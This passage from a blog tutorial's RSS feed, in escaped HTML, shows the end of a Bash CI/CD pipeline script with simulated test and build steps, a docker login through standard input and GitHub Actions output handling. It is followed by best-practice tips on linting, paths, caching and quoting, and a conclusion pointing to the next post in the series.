&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. Execute unit tests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;run_tests&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; log_info &lt;span class="s2"&gt;&amp;#34;Executing automated test suite...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Simulated test execution&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Running unit tests: 42 passed, 0 failed.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 3. Build and package container image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;build_container&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; log_info &lt;span class="s2"&gt;&amp;#34;Building container image: &lt;/span&gt;&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$BUILD_TAG&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Authenticate silently without leaking credentials to stdout&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DOCKER_REGISTRY_PASSWORD&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; docker login &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -u &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DOCKER_REGISTRY_USER&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; --password-stdin &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Image build step (simulated)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Docker build completed successfully.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Export step outputs when running in GitHub Actions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GITHUB_OUTPUT&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;image_uri=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;REGISTRY&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BUILD_TAG&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;build_sha=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMMIT_SHA&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 4. Generate visual step summary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;generate_summary&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; -w &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$SUMMARY_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;## CI/CD Build Report&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- **Application**: \`&lt;/span&gt;&lt;span class="nv"&gt;$APP_NAME&lt;/span&gt;&lt;span class="s2"&gt;\`&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- **Commit SHA**: \`&lt;/span&gt;&lt;span class="nv"&gt;$COMMIT_SHA&lt;/span&gt;&lt;span class="s2"&gt;\`&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- **Image Artifact**: \`&lt;/span&gt;&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$BUILD_TAG&lt;/span&gt;&lt;span class="s2"&gt;\`&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- **Status**: Completed Successfully&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$SUMMARY_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;main&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; validate_environment
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; run_tests
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; build_container
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; generate_summary
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; log_info &lt;span class="s2"&gt;&amp;#34;CI/CD execution completed successfully!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;main &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="deployment-notes--best-practices"&gt;Deployment Notes &amp;amp; Best Practices
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Automate Linting on Pull Requests:&lt;/strong&gt; Always incorporate a pre-merge workflow running &lt;code&gt;shellcheck&lt;/code&gt; and &lt;code&gt;bash -n&lt;/code&gt; across all repository scripts to catch syntax oversights and potential injection points early.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Avoid Hardcoded Absolute Paths:&lt;/strong&gt; Runner workspace paths vary between platforms (&lt;code&gt;/home/runner/work/...&lt;/code&gt; on GitHub Actions, &lt;code&gt;/builds/...&lt;/code&gt; on GitLab CI). Always rely on repository-relative paths or platform variables like &lt;code&gt;$GITHUB_WORKSPACE&lt;/code&gt; or &lt;code&gt;$CI_PROJECT_DIR&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify Cache Integrity:&lt;/strong&gt; When caching tool dependencies like &lt;code&gt;node_modules&lt;/code&gt; or &lt;code&gt;.m2&lt;/code&gt;, verify lockfile hashes prior to execution to prevent caching stale or corrupt artifacts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Double-Quote Variable Expansions:&lt;/strong&gt; Always quote &lt;code&gt;&amp;quot;$VARIABLE&amp;quot;&lt;/code&gt; references in CI scripts to prevent unintended word splitting when values contain spaces or special characters.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="conclusion"&gt;Conclusion
&lt;/h2&gt;&lt;p&gt;Bash is not merely an interactive utility; it is the core execution layer turning declarative pipeline definitions into operational reality. By enforcing Strict Mode, sanitizing external inputs against injection, masking sensitive tokens, and modularizing complex logic into standalone scripts, you can build CI/CD automation that is robust, secure, and easily maintainable.&lt;/p&gt;
&lt;p&gt;In the next article, we will delve into &lt;a class="link" href="https://tech.nguuyen.io.vn/posts/bash/bash-step-twelve/" &gt;Post 12 — System Management with Bash: Monitoring and Process Control&lt;/a&gt;: inspecting CPU, RAM, and disk utilization, validating open network ports, and building auto-remediation scripts for failed services.&lt;/p&gt;</description></item></channel></rss>